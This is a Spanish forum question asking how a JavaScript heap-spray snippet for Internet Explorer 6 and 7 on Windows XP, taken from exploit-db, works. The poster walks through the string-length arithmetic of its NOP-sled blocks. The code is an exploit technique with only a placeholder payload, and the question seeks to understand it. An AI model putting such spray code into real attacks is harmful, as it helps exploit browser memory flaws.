Cómo entender este código javascript de rociado de pila

1

Este es el código utilizado en la pulverización de pila en ie6, ie7, Windows XP, que se encuentra en exploit-db.

<script >

var shellcode = unescape('%u41%u41');

var bigblock = unescape('%u90%u90');

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

</script>

Tengo algunas preguntas sobre este código. Creo que el valor de la variable slackspace es 22, y la siguiente línea, terminando de ejecutar el bucle, la longitud de bigblock es 22 con en realidad 44 bytes de 0x90 . Luego , siguiente línea, la longitud de fillblock es 11, y su contenido es 22 bytes de 0x90 . Luego, en la siguiente línea, la longitud de block es 0? La variable block es una variable de cadena con la longitud de 0? ¿Y cómo entender la siguiente parte del código? Alguien me dice cómo entender el código?

    
pregunta freedom2 21.02.2017 - 15:23
fuente

0 respuestas

Lea otras preguntas en las etiquetas